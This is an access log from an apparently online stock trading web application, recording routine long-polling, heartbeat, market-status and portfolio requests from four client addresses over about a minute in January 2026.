[09/Jan/2026:14:48:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:48:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:48:57 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941612698 HTTP/1.1" -
[09/Jan/2026:14:48:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941608271 HTTP/1.1" -
[09/Jan/2026:14:48:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941624386 HTTP/1.1" -
[09/Jan/2026:14:49:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941609819 HTTP/1.1" -
[09/Jan/2026:14:49:02 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941617735 HTTP/1.1" -
[09/Jan/2026:14:49:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941613300 HTTP/1.1" -
[09/Jan/2026:14:49:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941629446 HTTP/1.1" -
[09/Jan/2026:14:49:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:49:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:49:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941614879 HTTP/1.1" -
[09/Jan/2026:14:49:07 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941622831 HTTP/1.1" -
[09/Jan/2026:14:49:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941618340 HTTP/1.1" -
[09/Jan/2026:14:49:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941634480 HTTP/1.1" -
[09/Jan/2026:14:49:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941620012 HTTP/1.1" -
[09/Jan/2026:14:49:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:49:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:49:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941627928 HTTP/1.1" -
[09/Jan/2026:14:49:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941623369 HTTP/1.1" -
[09/Jan/2026:14:49:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941639534 HTTP/1.1" -
[09/Jan/2026:14:49:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941625161 HTTP/1.1" -
[09/Jan/2026:14:49:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941632956 HTTP/1.1" -
[09/Jan/2026:14:49:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941628408 HTTP/1.1" -
[09/Jan/2026:14:49:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941644556 HTTP/1.1" -
[09/Jan/2026:14:49:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:49:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:49:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941630279 HTTP/1.1" -
[09/Jan/2026:14:49:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941638021 HTTP/1.1" -
[09/Jan/2026:14:49:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:49:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:49:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:49:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:49:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:49:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:49:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941633441 HTTP/1.1" -
[09/Jan/2026:14:49:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941649621 HTTP/1.1" -
[09/Jan/2026:14:49:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:49:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:49:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941635336 HTTP/1.1" -
[09/Jan/2026:14:49:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:49:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:49:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941643122 HTTP/1.1" -
[09/Jan/2026:14:49:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941638477 HTTP/1.1" -
[09/Jan/2026:14:49:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941654650 HTTP/1.1" -
[09/Jan/2026:14:49:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941640475 HTTP/1.1" -
[09/Jan/2026:14:49:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941648151 HTTP/1.1" -
[09/Jan/2026:14:49:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941643508 HTTP/1.1" -
[09/Jan/2026:14:49:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:49:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:49:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941659683 HTTP/1.1" -
[09/Jan/2026:14:49:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941645540 HTTP/1.1" -
[09/Jan/2026:14:49:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941653220 HTTP/1.1" -
[09/Jan/2026:14:49:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941648545 HTTP/1.1" -
[09/Jan/2026:14:49:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941664706 HTTP/1.1" -
[09/Jan/2026:14:49:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:49:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:49:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941650741 HTTP/1.1" -
[09/Jan/2026:14:49:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941658314 HTTP/1.1" -
[09/Jan/2026:14:49:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941653576 HTTP/1.1" -
[09/Jan/2026:14:49:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941669734 HTTP/1.1" -
[09/Jan/2026:14:49:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941655894 HTTP/1.1" -
[09/Jan/2026:14:49:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941663353 HTTP/1.1" -
[09/Jan/2026:14:49:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941658717 HTTP/1.1" -
[09/Jan/2026:14:49:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941674767 HTTP/1.1" -
[09/Jan/2026:14:49:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:49:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:49:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941661040 HTTP/1.1" -
[09/Jan/2026:14:49:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:49:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:49:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:49:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:49:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:49:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941668422 HTTP/1.1" -
[09/Jan/2026:14:49:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1935
[09/Jan/2026:14:49:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:49:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:49:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:49:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941663758 HTTP/1.1" -
[09/Jan/2026:14:49:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941679833 HTTP/1.1" -
[09/Jan/2026:14:49:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:49:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:49:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:49:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:49:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941666094 HTTP/1.1" -
[09/Jan/2026:14:49:57 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941673542 HTTP/1.1" -
[09/Jan/2026:14:49:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941668805 HTTP/1.1" -
[09/Jan/2026:14:49:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941684863 HTTP/1.1" -
[09/Jan/2026:14:50:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941671163 HTTP/1.1" -
[09/Jan/2026:14:50:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941678578 HTTP/1.1" -
[09/Jan/2026:14:50:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941673830 HTTP/1.1" -
[09/Jan/2026:14:50:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:50:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:50:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941689922 HTTP/1.1" -
[09/Jan/2026:14:50:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
